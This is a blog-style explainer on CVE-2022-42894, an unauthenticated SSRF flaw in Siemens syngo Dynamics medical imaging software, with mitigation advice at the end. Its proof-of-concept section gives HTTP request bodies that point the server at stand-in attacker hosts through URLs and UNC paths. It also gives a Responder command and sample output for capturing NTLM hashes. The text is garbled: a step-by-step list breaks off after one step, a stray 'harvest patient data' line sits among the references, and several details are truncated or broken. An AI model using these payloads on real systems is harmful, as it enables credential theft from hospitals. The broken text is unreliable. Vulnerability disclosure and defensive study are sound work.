In late 2022, a critical vulnerability tagged as CVE-2022-42894 was found in Siemens’ syngo Dynamics, a popular medical imaging platform. This bug affects all versions before VA40G HF01 and exposes hospitals and clinics to dangerous attacks—especially data leaks of sensitive authentication info (like NTLM credentials) and internal network reconnaissance.

In this long-read, we’ll explain what this vulnerability is, how it can be exploited, and what you can do to stay safe. We’ll keep things simple and use code snippets so you can see exactly what’s going on under the hood. All technical info is exclusive to this post for easy understanding.

What is SSRF?

SSRF stands for Server-Side Request Forgery. This attack tricks a vulnerable server into making HTTP requests (“phone calls”) to other systems—whether on the local network or anywhere on the internet. The attacker can use the server as a middleman to reach otherwise hidden services.

With CVE-2022-42894, an unauthenticated attacker—someone with zero login to the system—could abuse a web service inside syngo Dynamics to trigger such requests.

What is syngo Dynamics?

For context, syngo Dynamics is a “cardiology image post-processing solution” made by Siemens Healthineers. It stores and helps doctors analyze medical scans. Given its hospital-focused deployment, such vulnerabilities can lead to sensitive patient data leaks, or even compromise hospital infrastructure.

Vulnerability Details

CVE-2022-42894 is caused by a web service that doesn't properly validate URLs provided by users. By sending a carefully constructed HTTP request, an attacker can force the syngo Dynamics server to contact other servers, even those inside the hospital’s private network.

Here’s what makes it dangerous

1. Leaking NTLM credentials: If the attacker gets the server to connect to their own malicious server (for example, by using UNC file sharing paths like \\attacker-server\share), Windows will automatically try to authenticate using NTLM, revealing sensitive hashes that could be cracked offline.

2. Local Service Enumeration: The attacker can probe other local (internal) services, discovering what ports or apps are running, like database servers, Active Directory, or even other medical systems.

Proof-of-Concept (PoC) — How to Exploit It

Let’s walk through a simplified PoC. This is for educational purposes only!

Assume the vulnerable endpoint is located here (fictional for the example)

POST https://syngodynamics.example.com/api/importData
Content-Type: application/json

{
  "fileUrl": "http://maliciousattacker.com/evilfile";
}

But the attacker can change this to reference a SMB/NTLM path

{
  "fileUrl": "\\\\attacker-server\\share"
}

Or, encoded as a URL (which sometimes works if path validation is weak)

{
  "fileUrl": "file://attacker-server/share"
}

The vulnerable server attempts to fetch the file.

- When it contacts the attacker's machine, Windows automatically sends along NTLM information (hashes).

You'll need Responder, but here’s a quick setup with Python (for educational use only)

sudo responder -I eth  # Start responder on the attacker's VM

Once the victim server accesses your SMB share, you'll see NTLM hashes in Responder's output.

Screenshot (illustrative)

[SMB] NTLMv2-SSP Client : 10...2
[SMB] NTLMv2-SSP Username : SYNGO\svc_syngo
[SMB] NTLMv2-SSP Hash : aabbccddeeff...

Step-by-Step Exploit Scenario

1. Set up attacker's SMB/HTTP server (with Responder or similar tool).

References and Original Sources

- Siemens Advisory SSA-726357 (syngo Dynamics SSRF)
- NVD entry for CVE-2022-42894
- What is an SSRF attack? (OWASP)
- Responder NTLM Capture Tool (GitHub)

Harvest patient data, if attackers get further.

If you’re in healthcare IT, don’t ignore this vulnerability!

How to Fix or Mitigate

- PATCH IMMEDIATELY: Upgrade to syngo Dynamics VA40G HF01 or later. Siemens has released security patches—see their security advisory.
- Network segmentation: Prevent unnecessary outbound SMB/HTTP/FTP from the server.

Summary

CVE-2022-42894 is a dangerous, unauthenticated SSRF in Siemens syngo Dynamics. It can be abused to leak NTLM credentials and map your internal hospital network. The attack is straightforward and can be used as a stepping stone to bigger attacks—including full network compromise. If you’re running this software, apply the patch right away.

Stay vigilant, and keep your healthcare data safe.

---
If you need more information or mitigation help, consult the original Siemens advisory here.

Timeline

Published on: 11/17/2022 17:15:00 UTC
Last modified on: 11/21/2022 17:53:00 UTC